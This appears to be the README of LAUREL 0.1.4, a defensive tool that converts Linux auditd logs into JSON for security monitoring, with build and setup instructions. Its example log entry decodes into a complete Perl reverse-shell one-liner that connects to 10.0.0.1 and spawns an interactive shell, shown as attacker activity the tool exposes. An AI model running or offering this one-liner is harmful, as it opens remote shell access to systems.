laurel 0.1.4

Transform Linux Audit logs for SIEM usage
laurel-0.1.4 is not a library.
Visit the last successful build: laurel-0.6.2

LAUREL: Linux Audit – Usable, Robust, Easy Logging

LAUREL is an event post-processing plugin for auditd(8) to improve its usability in modern security monitoring setups.

Why?

TLDR: Instead of audit events that look like this…

type=EXECVE msg=audit(1626611363.720:348501): argc=3 a0="perl" a1="-e" a2=75736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B65742…

…turn them into JSON logs where the mess that your pen testers/red teamers/attackers are trying to make becomes apparent at first glance:

{ … "EXECVE":{ "argc": 3,"ARGV": ["perl", "-e", "use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"]}, …}

This happens at the source. The generated event even contains useful information about the spawning process:

"PARENT_INFO":{"ARGV":["bash"],"launch_time":1626611323.973,"ppid":3190631}

Description

Logs produced by the Linux Audit subsystem and auditd(8) contain information that can be very useful in a SIEM context (if a useful rule set has been configured). However, the format is not well-suited for at-scale analysis: Events are usually split across different lines that have to be merged using a message identifier. Files and program executions are logged via PATH and EXECVE elements, but a limited character set for strings causes many of those entries to be hex-encoded. For a more detailed discussion, see Practical auditd(8) problems.

LAUREL solves these problems by consuming audit events, parsing and transforming them into more data and writing them out as a JSON-based log format, while keeping all information intact that was part of the original audit log. It does not replace auditd(8) as the consumer of audit messages from the kernel. Instead, it uses the audisp ("audit dispatch") interface to receive messages via auditd(8). Therefore, it can peacefully coexist with other consumers of audit events (e.g. some EDR products).

Refer to JSON-based log format for a description of the log format.

We developed this tool because we were not content with feature sets and performance characteristics of existing projects and products. Please refer to Performance for details.

A word about audit rules

A good starting point for an audit ruleset is https://github.com/Neo23x0/auditd, but generally speaking, any ruleset will do. LAUREL will currently only work properly if End Of Event record are not suppressed, so rules like

-a always,exclude -F msgtype=EOE

should be removed.

Build from source…

LAUREL is written in Rust. To build it, a reasonably recent Rust compiler (we currently use 1.48), cargo, and the libacl library and its header files (Debian: libacl1-dev, RedHat: libacl-devel) are required.

$ cargo build --release
$ sudo install -m755 target/release/laurel /usr/local/sbin/laurel

…or use the provided binary

Static Linux/x86_64 binaries are built for tagged releases.

Configure, use

  • Create a dedicated user, e.g.: 
    $ sudo useradd --system --home-dir /var/log/laurel --create-home _laurel
  • Configure LAUREL: Copy the provided annotated example to /etc/laurel/config.toml and customize it.
  • Register LAUREL as an audisp plugin: Copy the provided example to /etc/audisp/plugins.d/laurel.conf or /etc/audit/plugins.d/laurel.conf (depending on your auditd version).
  • If you are running SELinux, compile the provided policy and install it into the running kernel: 
    $ make -C contrib/selinux
$ sudo semodule -i contrib/selinux/laurel.pp
$ sudo restorecon -v -R -F /usr/local/sbin/laurel /etc/laurel /var/log/laurel
  • Tell auditd(8) to re-evaluate its configuration 
    $ sudo pkill -HUP auditd

Test, Debug

For debugging and other testing purposes, LAUREL can be run without specifying any configuration file. It will not change users and read events from standard input, just as it would when called from auditd. Log entries arewritten to audit.log in the current working directory.

License

GNU General Public License, version 3

Authors